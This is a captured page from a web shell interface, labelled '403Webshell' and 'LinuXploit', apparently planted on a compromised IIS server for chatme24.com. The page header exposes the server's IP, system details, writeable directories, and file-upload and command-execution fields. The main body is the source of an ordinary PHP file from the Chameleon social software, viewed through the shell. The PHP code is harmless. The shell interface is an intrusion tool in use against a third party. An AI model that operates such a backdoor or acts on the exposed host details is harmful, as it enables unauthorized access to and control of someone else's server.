403Webshell
Server IP : 209.209.40.120  /  Your IP : 216.73.217.112
Web Server : Microsoft-IIS/10.0
System : Windows NT NEWWWW 10.0 build 17763 (Windows Server 2019) i586
User : NEWWWW$ ( 0)
PHP Version : 8.3.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/HostingSpaces/admin/chatme24.com/wwwroot/update/update-chameleon-4.6-4.7/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/HostingSpaces/admin/chatme24.com/wwwroot/update/update-chameleon-4.6-4.7/city.php
<?php
/* (C) Websplosion LTD., 2001-2014

IMPORTANT: This is a commercial software product
and any kind of using it must agree to the Websplosion's license agreement.
It can be found at http://www.chameleonsocial.com/license.doc

This notice may not be removed from the source code. */

$area = "login";
include("./_include/core/main_start.php");

City::accessCheck();

class CPage extends City
{
	function parseBlock(&$html)
	{
		global $g;
		global $g_user;

		foreach ($g_user as $k => $v) $html->setvar($k, $v);
        $html->setvar('city_url_page', City::url('city', true));

		parent::parseBlock($html);
	}
}

class CHeadCity extends CHeader
{
	function parseBlock(&$html)
	{
		$apiKey = CityMap::getKeyMap();
		if ($apiKey) {
			$html->setvar('google_maps_api_key_for_city', '?key=' . $apiKey);
		}

		parent::parseBlock($html);
	}
}

$optionTmplSet = Common::getOption('set', 'template_options');

$tmplList = array('main' => $g['tmpl']['dir_tmpl_main'] . "city.html",
                  'city' => $g['tmpl']['dir_tmpl_city'] . 'city.html',
                  'list_users_chat' => $g['tmpl']['dir_tmpl_city'] . '_list_user.html',
                  'list_msg_users_chat' => $g['tmpl']['dir_tmpl_city'] . '_list_msg.html');
$page = new CPage("", $tmplList);
$page->isLoadCity = true;

$tmplListHeader = array('main' => $g['tmpl']['dir_tmpl_main'] . "_header.html",
                        'include_city' => $g['tmpl']['dir_tmpl_city'] . '_include.html');
if ($optionTmplSet != 'urban'){
    $tmplListHeader['include_custom_city'] = $g['tmpl']['dir_tmpl_city'] . '_include_custom.html';
}

$header = new CHeadCity("header", $tmplListHeader);
$page->add($header);

$footer = new CFooter("footer", getPageCustomTemplate('_footer.html', 'footer_city_template'));
$page->add($footer);

include("./_include/core/main_close.php");

Youez - 2016 - github.com/yon3zu
LinuXploit